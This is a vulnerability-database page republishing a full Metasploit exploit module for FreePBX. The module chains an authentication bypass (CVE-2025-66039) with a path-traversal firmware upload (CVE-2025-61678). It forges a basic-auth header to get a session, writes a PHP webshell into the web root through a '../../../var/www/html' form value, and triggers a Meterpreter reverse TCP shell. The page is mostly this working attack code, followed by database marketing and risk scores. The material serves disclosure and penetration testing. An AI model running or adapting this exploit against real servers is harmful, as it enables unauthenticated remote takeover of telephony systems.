Lucene search
K

📄 FreePBX Firmware Shell Upload

🗓️ 28 Jan 2026 00:00:00Reported by Noah King, msutovsky-r7Type 
packetstorm
 packetstorm
🔗 packetstorm.news👁 165 Views

FreePBX older versions have authentication bypass and unauthenticated file upload enabling remote code execution.

Related
Code
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'FreePBX firmware file upload',
            'Description' => %q{
              The FreePBX versions prior to 16.0.44,16.0.92 and 17.0.6,17.0.23 are vulnerable to multiple CVEs, specifically CVE-2025-66039 and CVE-2025-61678, in the context of this module. The versions before 16.0.44 and 17.0.23 are vulnerable to CVE-2025-66039, while versions before 16.0.92 and 17.0.6 are vulnerable to CVE-2025-61678. The former represents an authentication bypass: when FreePBX uses Webserver Authorization Mode (an option the admin can enable), it allows an attacker to authenticate as any user. The latter allows unrestricted file uploads via firmware upload, including path traversal. These vulnerabilities allow unauthenticated remote code execution by bypassing authentication and placing a webshell in the web server's directory.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Noah King',    # research
              'msutovsky-r7'  # module
            ],
            'References' => [
              [ 'CVE', '2025-66039'], # Authentication Bypass
              [ 'CVE', '2025-61678'], # File Upload and Path Traversal
              [ 'URL', 'https://horizon3.ai/attack-research/the-freepbx-rabbit-hole-cve-2025-66039-and-others/']
            ],
            'Platform' => ['php'],
            'Targets' => [
              [
                'PHP',
                {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP,
                  'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },
                  'Type' => :php
                }
              ]
            ],
            'DisclosureDate' => '2025-12-11',
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
            }
          )
        )
    
        register_options(
          [
            OptString.new('USERNAME', [true, 'A valid FreePBX user']),
          ]
        )
      end
    
      def check
        res = send_request_cgi({
          'uri' => normalize_uri('admin', 'config.php'),
          'method' => 'GET'
        })
    
        if (res&.code == 401 && res.body.include?('FreePBX')) ||
           (res.code == 500)
          return CheckCode::Detected('The FreePBX with Webserver authentication mode detected')
        end
    
        CheckCode::Safe('Webserver authorization mode is not set')
      end
    
      def get_session_cookie
        res = send_request_cgi({
          'uri' => normalize_uri('admin', 'config.php'),
          'method' => 'GET',
          'headers' => { 'Authorization' => basic_auth(datastore['USERNAME'], Rex::Text.rand_text_alphanumeric(6)) },
          'keep_cookies' => true
        })
    
        fail_with(Failure::UnexpectedReply, 'Received unexpected reply') unless res&.code == 401
    
        fail_with(Failure::NotVulnerable, 'Target might not be vulnerable to authentication bypass') unless res.get_cookies
      end
    
      def upload_webshell
        @target_payload_file_name = %(#{Rex::Text.rand_text_alphanumeric(8).downcase}.php)
        @target_dir = Rex::Text.rand_text_alphanumeric(8).downcase
    
        form_data = Rex::MIME::Message.new
    
        form_data.add_part(SecureRandom.uuid, nil, nil, 'form-data; name="dzuuid"')
        form_data.add_part('0', nil, nil, 'form-data; name="dzchunkindex"')
        form_data.add_part(payload.encoded.length.to_s, nil, nil, 'form-data; name="dztotalfilesize"')
        form_data.add_part('2000000', nil, nil, 'form-data; name="dzchunksize"')
        form_data.add_part('1', nil, nil, 'form-data; name="dztotalchunkcount"')
        form_data.add_part('0', nil, nil, 'form-data; name="dzchunkbyteoffset"')
        form_data.add_part("../../../var/www/html/#{@target_dir}", nil, nil, 'form-data; name="fwbrand"')
        form_data.add_part('1', nil, nil, 'form-data; name="fwmodel"')
        form_data.add_part('1', nil, nil, 'form-data; name="fwversion"')
        form_data.add_part(payload.encoded, 'application/octet-stream', nil, %(form-data; name="file"; filename="#{@target_payload_file_name}"))
    
        res = send_request_cgi({
          'uri' => normalize_uri('admin', 'ajax.php'),
          'method' => 'POST',
          'headers' => {
            'Authorization' => basic_auth(Rex::Text.rand_text_alphanumeric(6), Rex::Text.rand_text_alphanumeric(6)),
            'Referer' => full_uri(normalize_uri('admin', 'config.php'))
          },
          'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
          'vars_get' => { 'module' => 'endpoint', 'command' => 'upload_cust_fw' },
          'data' => form_data.to_s
        })
    
        fail_with(Failure::PayloadFailed, 'Failed to upload webshell') unless res&.code == 500
        register_dir_for_cleanup("../#{@target_dir}")
      end
    
      def trigger_payload
        send_request_cgi({
          'uri' => normalize_uri(@target_dir, @target_payload_file_name),
          'method' => 'GET'
        })
      end
    
      def exploit
        print_status('Trying to bypass authentication...')
        get_session_cookie
    
        print_good('Bypass successful, trying upload webshell...')
    
        upload_webshell
    
        print_good('Upload successful, triggering...')
    
        trigger_payload
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jan 2026 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 49.3
CVSS 3.19.8
EPSS0.50159
SSVC
165